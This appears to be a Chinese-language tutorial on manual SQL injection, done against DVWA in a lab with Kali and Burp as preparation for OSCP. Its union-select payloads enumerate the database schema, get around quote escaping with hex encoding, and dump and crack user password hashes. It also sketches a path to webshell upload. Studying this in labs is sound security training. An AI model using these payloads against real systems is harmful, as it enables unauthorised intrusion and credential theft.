本节介绍了SQL注入(非盲注),让读者理解SQL注入的利用场景和利用手段。常用的利用方法一个是读取数据库数据,直接获取有价值数据,如管理员信息等。如果数据库具备写Web目录的权限,可以直接通过SQL注入写入一句话木马完成入侵。演示了如何通过DVWA的SQL注入模块手工进行SQL注入。后续章节,会有vulnhub的靶机进行实战练习,理解SQL注入的利用方法。
目录
4.通过SQL注入读取系统用户名密码
1.场景
虚拟机:vmware
攻击主机:kali
IP:192.168.239.142
靶机:Windows10
IP:192.168.239.1
服务:xampp启动的DVWA
2.SQL注入简介
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
2.1注入过程
第一步:SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。
第二步:收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。
第三步:猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
第四步:查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。
2.2注入方法
- 数字型注入
当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型,这是弱类型语言的特性。而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。
- 字符型注入
当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
3.DVWA SQL注入简介
此代码为medium级别,没有对传入的id进行验证,非常明显的SQL注入,
前端输入框限制了输入,
不是GET协议,无法随意从URL输入SQL注入的命令。
可以使用burp进行前端限制的绕过,
4.通过SQL注入读取系统用户名密码
- SQL注入点探测
将刚在截获的包send to repeater,然后确定注入点,
id=1'
id确实是注入点。
- 收集后台数据库信息
从上面操作后出错信息看,是MariaDB,也就是一个mysql。使用mysql的方法继续注入
- 猜解用户名和密码
其实使用最简单的方法就可以获得admin的用户名密码,
id=1 and 1=1 #
但我们为了深入学习sql注入原理,想办法一步一步获取数据库,数据库表,数据表字段,数据表值,最后读取admin信息。
1)order by 获取当前表的列数
id=1 order by X
X 从1开始遍历,每次加一,查看页面返回信息,直到出错。出错前的X就是列的个数。
X=2正常。
X=3异常,说明只有两列。
2)union select 寻找页面信息反馈
id=1 union select 1,2 #
3) 查看数据库类型
id=1 union select 1,@@version # &Submit=Submit
上图中的2,显示了查询信息,是MariaDB。
4)查看当前数据库用户和数据库
id=1 union select user(),database()#
数据库名为dvwa。
5) 获取数据库中的表
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
表为guestbook和users。
6) 获取users表的列
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
'users'被转义了。可以通过16进制绕过,使用burp decoder翻译users16进制0x7573657273 。
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
得到的列为,user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
7) 查询表中的用户名密码
表中的user和password字段肯定保存用户名密码
id=1 union select group_concat(user),group_concat(password) from users #
得到的用户名密码列表如下
name | password |
admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
gordonb | e99a18c428cb38d5f260853678922e03 |
1337 | 8d3533d75ae2c3966d7e0d4fcc69216b |
pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
这些密码貌似是md5存储, cmd5.com中直接查询admin的密码,为password
5.总结
本节通过DVWA的SQL注入模块演示了如何进行手工SQL注入。掌握手工SQL注入,对于大家理解SQL注入原理有很大的帮助。OSCP考试中是不允许使用sqlmap工具,熟悉sqlmap的使用方法对实际环境中进行渗透提供了便利。后续章节会以vulnhub靶机pwnos 2.0为例,演示模拟利用sql注入。